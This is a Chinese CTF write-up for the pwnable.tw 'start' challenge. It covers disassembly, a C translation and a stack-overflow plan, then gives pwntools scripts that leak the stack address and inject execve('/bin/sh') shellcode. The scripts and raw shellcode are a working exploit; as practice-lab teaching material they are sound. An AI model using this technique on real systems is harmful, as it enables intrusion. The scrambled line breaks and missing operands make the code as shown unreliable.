生活随笔
收集整理的這篇文章主要介紹了
pwnable.tw---start
小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.
Pwnable.tw—start
最近比賽玩了好幾天的pwn,發(fā)現(xiàn)老是差點火候,開始正式刷刷Pwnable.tw看看。
題目分析:
checksec :
第一次遇到什么防護都不開的程序,興奮。
IDA:
題目只有start和exit。
檢測棧有點問題,不能夠F5,強行看匯編。。。
.
text:
08048060 public _start
.
text:
08048060 _start proc near
.
text:
08048060 push esp
.
text:
08048061 push offset _exit
.
text:
08048066 xor eax, eax
.
text:
08048068 xor ebx, ebx
.
text:
0804806A
xor ecx, ecx
.
text:
0804806C
xor edx, edx
.
text:
0804806E push
.
text:
08048073 push
.
text:
08048078 push
.
text:
0804807D push
.
text:
08048082 push
2774654Ch
.
text:
08048087 mov ecx, esp ; addr
.
text:
08048089 mov dl,
14h ; len
.
text:
0804808B mov bl,
1 ; fd
.
text:
0804808D mov al,
4
.
text:
0804808F int
80h ; LINUX - sys_write
.
text:
08048091 xor ebx, ebx
.
text:
08048093 mov dl,
3Ch
.
text:
08048095 mov al,
3
.
text:
08048097 int
80h ; LINUX -
.
text:
08048099 add esp,
14h
.
text:
0804809C retn
.
text:
0804809C _start endp ; sp-analysis failed
.
text:
0804809C
.
text:
0804809D
.
text:
0804809D ; =============== S U B R O U T I N E =======================================
.
text:
0804809D
.
text:
0804809D ; Attributes: noreturn
.
text:
0804809D
.
text:
0804809D ; void
exit(int status)
.
text:
0804809D _exit proc near ; DATA XREF: _start+
1o
.
text:
0804809D pop esp
.
text:
0804809E
xor eax, eax
.
text:
080480A0 inc eax
.
text:
080480A1 int
80h ; LINUX - sys_exit
.
text:
080480A1 _exit endp ; sp-analysis failed
.
text:
080480A1
.
text:
080480A1 _text ends
.
text:
080480A1
.
text:
080480A1
.
text:
080480A1
end _start
匯編代碼直接采用了系統(tǒng)調用,
具體的翻譯可以看這個:
Linux Sysycall Reference
把這個匯編翻譯成C:
(并不是很想用軟件畫QAQ)
下面是翻譯的代碼:
void start()
{buf[
20]=
"Let's start the CTF:";sys_write(
1,buf,
20);sys_read(
0,buf,
60);
}
void exit()
{sys_exit();
}
思路分析:
1.沒有保護,在buf開始寫入shellcode,直接棧溢出,跳到buf的位置,然后執(zhí)行即可。
但是buf只有20位,shellcode有21-44位,行不通。Pass!
2.既然堆不夠那就看棧,先跳到buf的首地址08048087,跳到利用write函數(shù)leak出&buf的棧地址,然后再利用read在棧的溢出位置&buf+20的位置寫入shellcode,從而二次溢出時跳到棧的位置+20即shellcode的棧位置從而執(zhí)行棧上的shellcode。
執(zhí)行測試:
先leak出buf的地址。
代碼:
from pwn
import *file_name=
"./start"
context(log_level =
'debug', arch =
'i386', os =
'linux')
p=process(file_name)
buf_ar=
0x8048087
def leak():p.recv(
100)payload=
'A'*
20+p32(buf_ar)p.send(payload)k=p.recv(
4)
return hex(u32(k))
buf_sta=leak()
print "buf's stack address is:",buf_sta
結果如下:
程序到這里有會有read。
所以再后面來一次棧溢出,執(zhí)行shellcode。
由于用pwn的shellcraft.sh的位數(shù)多于60位,所以要換一個shellcode。
exp:
from pwn
import *file_name=
"./start"
context(log_level =
'debug', arch =
'i386', os =
'linux')
p=remote(
'chall.pwnable.tw',
10000)
shellcode =
'\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'buf_ar=
0x8048087def leak():p.recv(
100)payload=
'A'*
20+p32(buf_ar)p.send(payload)k=p.recv(
4)
return u32(k)
def get_pwn(addr):payload=
'A'*
20+p32(addr+
20)+shellcodep.send(payload)p.interactive()
buf_sta=leak()
print "buf's stack address is:",buf_sta
get_pwn(buf_sta)
總結
以上是生活随笔為你收集整理的pwnable.tw---start的全部內容,希望文章能夠幫你解決所遇到的問題。
如果覺得生活随笔網(wǎng)站內容還不錯,歡迎將生活随笔推薦給好友。